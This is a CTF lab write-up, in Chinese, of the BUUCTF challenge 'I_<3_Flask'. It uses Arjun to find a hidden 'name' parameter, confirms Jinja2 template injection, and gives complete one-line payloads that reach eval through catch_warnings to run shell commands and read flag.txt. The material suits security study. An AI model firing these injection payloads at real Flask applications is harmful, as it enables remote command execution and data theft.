BUUCTF_[RootersCTF2019]I_<3_Flask

[RootersCTF2019]I_<3_Flask

参考:

[RootersCTF2019]I_<3_Flask_[rootersctf2019]i_<3_flask 1-CSDN博客

访问网页:

image-20240205134548008

题目是flask框架开发的,这里查找app.py,但是没有找到,抓包也没有发现有用的信息,但是如果我们要对网页进行恶意操作时,必须存在一个我们可以控制更改的注入点,一般为网页的参数,但是我们通过对网页的信息查找没有发现可疑参数,但是猜测它是flask框架的模板注入,所以我们可以使用工具对该网页的参数进行爆破。

参数爆破工具:Arjun

Arjun:一款http参数扫描器的使用_arjun使用-CSDN博客

下载:

1
git clone https://github.com/s0md3v/Arjun.git

image-20240205135826164

1
python3 setup.py install

忽略警告:

如果在pip中出现root警告,可以用以下操作忽略

1
pip install --root-user-action=ignore arjun

image-20240205140435766

使用:

1
arjun -u http://e4439159-0363-4410-ac62-5f45a7ccf28a.node5.buuoj.cn:81/ -m 参数

参数:

1
2
3
4
get
post
JSON
XML

示例:

1
arjun -u http://e4439159-0363-4410-ac62-5f45a7ccf28a.node5.buuoj.cn:81/ -m get

image-20240205141050640

获取到目标网站的用户可控参数为name

image-20240205141543822

检测网站是否能够进行flask框架的模板注入:

payload:

1
?name={{8*8}}

image-20240205141749756

成功执行我们的8*8,所以存在模板注入,可以猜测为jinja2的模板注入

构造模板注入payload:

分析:

1
2
3
4
1.目标是使用"__import__('os').popen('ls /').read()"),进行文件信息的获取
所以需要用到eval()函数
2.eval函数存在于['catch_warnings'].__init__.__globals__['__builtins__']中
3.['catch_warnings']存在于[].__class__.__base__.__subclasses__()中

构造模板注入的代码:

1
2
3
for c in [].__class__.__base__.__subclasses__():
if c.__name__=='catch_warnings':
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")

=>变成模板注入的payload:

1
2
3
4
5
6
7
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings'%}
{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}
=>合并到一行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

获取网页文件信息:

(最重要的两个目录信息为当前网页目录信息和根目录信息,一般先找这两个,如果还没有,就得去找其他目录中的文件信息)

获取根目录文件信息:

payload:

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls           /').read()")}}{% endif %}{% endfor %}

image-20240205143147824

没有发现flag文件的信息

获取网页当前目录信息:

payload:

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls       ').read()")}}{% endif %}{% endfor %}

image-20240205143502125

发现flag.txt文件

获取flag.txt文件的信息:

payload:

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt       ').read()")}}{% endif %}{% endfor %}

image-20240205143607585

flag=flag{066918ea-c0f6-496b-93df-9bb6062b09e5}


BUUCTF_[RootersCTF2019]I_<3_Flask
http://example.com/2024/02/18/2024-02-18-[RootersCTF2019]I3_Flask/
作者
South
发布于
2024年2月18日
许可协议